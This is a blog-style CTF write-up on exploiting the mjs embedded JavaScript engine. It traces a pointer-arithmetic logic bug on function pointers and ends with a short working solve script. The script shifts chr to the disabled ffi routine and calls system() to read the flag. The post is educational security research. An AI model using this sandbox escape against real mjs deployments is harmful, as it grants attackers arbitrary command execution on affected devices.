Pwning mjs for fun and SBX

 Date: March 8, 2023

We back at it again with another Sandbox Escape blogpost :D Last weekend, I took a small break from a side-project I’m working on and peeked at some pwn challs of a random ctf from ctftime.org.

This time, I’m writing about a n-day I exploited in mjs during a “clone2pwn” challenge on KalmarCTF.

The challenge itself was not too hard. Yet, I think it’s one of my favorites/I enjoyed alot so I thought it’s worth writing about it and share the experience.

(Short) Intro to mjs

Essentially, mjs is an “Embedded JavaScript engine for C/C++”:

mJS is designed for microcontrollers with limited resources. Main design goals are: small footprint and simple C/C++.

JS is good, embedded is even better (:

Basically this JS engine reminds Lua a lot; It’s light weight, very minimalistic, and has some powerful features like ffi in it.

Challenge Description

The challenge description was quite short and straight-forward:

Toddler’s first browser exploitation https://github.com/cesanta/mjs

We were given a tar archive with:

  • ./mjs binary: The JS engine/interpreter build(latest version). With PIE/NX enabled.
  • A diff.patch file: Showing us the modifications that were done to the interpreter sources prior to compilation.
  • Other Docker environment stuff

Surprisingly, the .patch file did not introduce vulnerabillities. Actually, the hot-patch was intended to harden the interpreter. The changes included:

  • Disabling the ffi functionallity
  • Disabling dangerous functions like mkstr and s2o (those are JS functions that the engine supports but can be used as a “bridge” from the high-level JS code to low-level memory. refs: #0 , #1)

So, considering those constraints: we need to achieve RCE.

Recon

Since this is a clone2pwn I decided to look for known/past vulnerabillities to understand if there’s a common attack surface for this JS engine. After some googling I found this Snyk advisory, which led me to this mjs git issue #175: “Heap-based Buffer Overflow Vulnerability”.

The PoC that was provided in the report was pretty difficult to understand because it was generated by a fuzzer:

let i, a = 0, b = 0, c = 0, d = 0, e = 0;

for (i = 8; i < 10; i++)typeof --print

print (b++ < 5) c +="b;

while (d++ < 10) {
  if (d < 7) continue;
  e += d;
  break;
}

a === 45 && c === 15 && e === 7;

However, inside that messy, fuzzer-generated code, there was one thing that caught my eye: the --print. Did he just…tried subtracting a variable that has a function type? There was another person in the git issue that also pointed that out my thoughts:

I knew I had to dig deeper because of two reasons:

  • This git issue is open, which means it could be leveraged to corrupt some memory in our version(latest version).
  • I could sense that it’s more than just a Heap-Overflow bug (spoiler alert: it’s a logic bug)

To continue with this path, we have to some root-cause analysis for this bug.

Root-Cause Analysis

Digging into the mjs sources, I looked for how they implement unary operators on JS variables, which led me to the following code:

src/mjs_exec.c:415

/* ... */
    case TOK_MINUS_ASSIGN:    op_assign(mjs, TOK_MINUS);    break;  // -= 
    case TOK_PLUS_ASSIGN:     op_assign(mjs, TOK_PLUS);     break;  // +=
    case TOK_MUL_ASSIGN:      op_assign(mjs, TOK_MUL);      break;  // *=
/* ... */

This function leads to the following call-chain: exec_expr(above) ➜ op_assigndo_op

src/mjs_exec.c#L183-L187.

    da = mjs_is_number(a) ? mjs_get_double(mjs, a)
                          : (double) (uintptr_t) mjs_get_ptr(mjs, a);
    db = mjs_is_number(b) ? mjs_get_double(mjs, b)
                          : (double) (uintptr_t) mjs_get_ptr(mjs, b);
    result = do_arith_op(da, db, op, &resnan);

Note: In mjs, all the variables are stored as a mjs_val_t, which can have multiple types. Built-in functions like print/chr/etc. are represented as foreign_ptr’s and Numbers are stored as a double.

What the code above basically says is: If one opearnd of the arithmetic operation is a number and the other is a pointer, add them up. lmao, yes.

Literally:

  • Extract the pointer from the tagged mjs_val_t(using get_ptr)
  • Add them up(using do_arith_op))
  • Return the result

I was very confused at first, but what can be better than a test script to verify it:

print(chr);
chr += 0x10;
print(chr);
chr += 0x10;
print(chr);

the script above yields the following:

$ ./mjs testing.js
<foreign_ptr@5555555597c0>
<foreign_ptr@5555555597d0>
<foreign_ptr@5555555597e0>

Those are addesses from the .text segment, and they are increased in 0x10 on every print! In other words, we just corrupted a function pointer :D

gdb can also verify that it’s a .text segment ptr, which contains the implementation of JS’s chr():

gef➤  info symbol 0x5555555597c0
mjs_chr in section .text of /share/2023/kalmar-ctf/pwn/mjs/git/mjs/mjs

Now if we try to call chr() again, it will yield a segfault because now it no longer points to the beginning of mjs_chr.

So, even though the original git issue says that it is a heap overflow, now we can conclude that this is actually a very powerful logic bug(or, just a weird feature), that can cause overflows/other memory corruptions as a side-effect.

Note: After some more searches through the git history, I found this commit("Implement pointer arithmetic") from 7~ years ago. Which confirms that this is indeed a feature. Kinda quirky feature but ok :^)

Alright, so now that we understand the vuln better. We can continue to exploitation.

Exploitation

We have an arbitrary control on a foreign_ptr and we need to make it to point to somewhere useful. Having PC control is great but we still have some things to worry about like ASLR, where to jump, how to prepare the args in the right registers(ROP/JOP), etc.

Luckily, I found a very elegant way to achieve RCE during the CTF. The plan was as follows:

  • Even though they disabled the ffi functionality in the .patch file: the functions are still there in memory, the only thing that was removed is the binding between the JS ‘land’/runtime and the native part of the binary.
  • We can measure the offset between mjs_chr(or any other JS function) to mjs_ffi_call and use chr += to corrupt its foreign_ptr’s value.
  • By making the chr function point to ffi, we re-enable the funcionallity that was disabled in the .patch file.
  • From there, the road to system() is very fast. I mean, it’s ffi so… (:

Solution

Below is my (funny) solve script:

/* offset from `mjs_chr` to `mjs_ffi_call` */
chr+=0x6950;
/*  Now `chr()` is actually `ffi()` */
/* get system() */
let sys = chr('void system(char*)');

/* profit :D */
sys("cat /flag-*");

Output:

$ nc 54.93.211.13 10002
Welcome to mjs.
Please give input. End with "EOF":
/* offset from `mjs_chr` to `mjs_ffi_call` */
chr+=0x6950;
/* get system() */
let sys = chr('void system(char*)');

/* profit :D */
sys("cat /flag-*");


EOF
kalmar{mjs_brok3ey_565591da7d942fef817c}
undefined

Thanks for the challenge!

 Tags:  browsers ctf pwn javascript

Previous
⏪ LuaJIT Sandbox Escape: The Saga Ends

Next
BsidesTLV 2023 - 'Zen(d) Master' writeup (pwn) ⏩